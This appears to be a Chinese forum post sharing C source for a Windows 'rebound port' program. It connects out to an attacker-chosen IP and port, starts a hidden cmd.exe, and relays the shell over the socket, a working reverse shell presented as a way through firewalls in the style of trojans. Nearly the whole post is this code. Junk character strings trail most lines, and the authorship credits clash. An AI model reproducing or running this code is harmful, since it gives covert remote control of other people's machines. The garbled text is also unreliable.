这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jK-b#h.gL
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/* ============================== WQ+ xS!ba
Rebound port in Windows NT
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By wind,2006/7 xlcL;e&^P
===============================*/ 3\}>nE
#include gNHS:k\"
#include FG!2h&k
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#pragma comment(lib,"wsock32.lib") I>EEUQR/$H
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void OutputShell(); G^|!'V
SOCKET sClient; 6gs0Vm
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6Ki!j<
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void main(int argc,char **argv) KAJR.YNm
{ 5) q_Aro
WSADATA stWsaData; 1/f{1k
int nRet; h+R26lI1x
SOCKADDR_IN stSaiClient,stSaiServer; A?bqDy
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if(argc != 3) t6uYFxE
{ b>2{F6F
printf("Useage:\n\rRebound DestIP DestPort\n"); ZkJLq[:cM
return; VqUCcT
} PI.Zd1r
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WSAStartup(MAKEWORD(2,2),&stWsaData); KKq%'y)u^
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ck< `kJ`b
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stSaiClient.sin_family = AF_INET; .?vHoNvo
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9}wI@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [vY#9W"!
{ ]Cs=EZr
printf("Bind Socket Failed!\n"); [D+,I1u2h
return; TSD7R
} 8@[S,[
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stSaiServer.sin_family = AF_INET; IH&0>a
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0xx4rpH
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <+-=j
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) qSGM6kb
{ *c\XQy
printf("Connect Error!"); 7},oY""8
return; i)$P1h
} jGi{:} `lB
OutputShell(); 0l3[?YtXc
} K {kd:pr
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void OutputShell() Er;q s *f
{ NLr a"Z
char szBuff[1024]; t.+)g-X
SECURITY_ATTRIBUTES stSecurityAttributes; #mU<]O
OSVERSIONINFO stOsversionInfo; &b`'RZe
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 'ieTt_1.G
STARTUPINFO stStartupInfo; !Rc
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char *szShell; 02tt.0go
PROCESS_INFORMATION stProcessInformation; vV xw*\`<6
unsigned long lBytesRead; 74ho=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }hsNsQ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); DS;\24>H
stSecurityAttributes.lpSecurityDescriptor = 0; et/:vLl13
stSecurityAttributes.bInheritHandle = TRUE; ttdY]+Fj
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n"`V|
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gD51N()s,
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H~TuQ
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <S=(`D
stStartupInfo.wShowWindow = SW_HIDE; MhR`
stStartupInfo.hStdInput = hReadPipe; RcO"k3J
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tfe]=_U
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GetVersionEx(&stOsversionInfo); c~4Cpy^
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switch(stOsversionInfo.dwPlatformId) &l0K~7)b
{ _|4R^*/4
case 1: HE35QH@/`
szShell = "command.com"; nw\C+1F
break; }AA">FF'y4
default: ,p3]`MG
szShell = "cmd.exe"; X4]miUmh
break; eAo+w*D(
} Gh/nNwyu<
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4pl\qf
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send(sClient,szMsg,77,0); 1)^\R(l
while(1) =
{ IA<>+NS
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); HHZw-/s,%
if(lBytesRead) xVw@pR;
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tewp-MKA
send(sClient,szBuff,lBytesRead,0); <$yA*
} jC_'6sc`
else 24nNRTI
{ :o'|%JE
lBytesRead=recv(sClient,szBuff,1024,0); {ZrlbDQX
if(lBytesRead<=0) break; I5q$QQK
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aXQS0>G%(
} .CnZMw{'
} mW4Cc1*
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return; "5L?RkFi\
}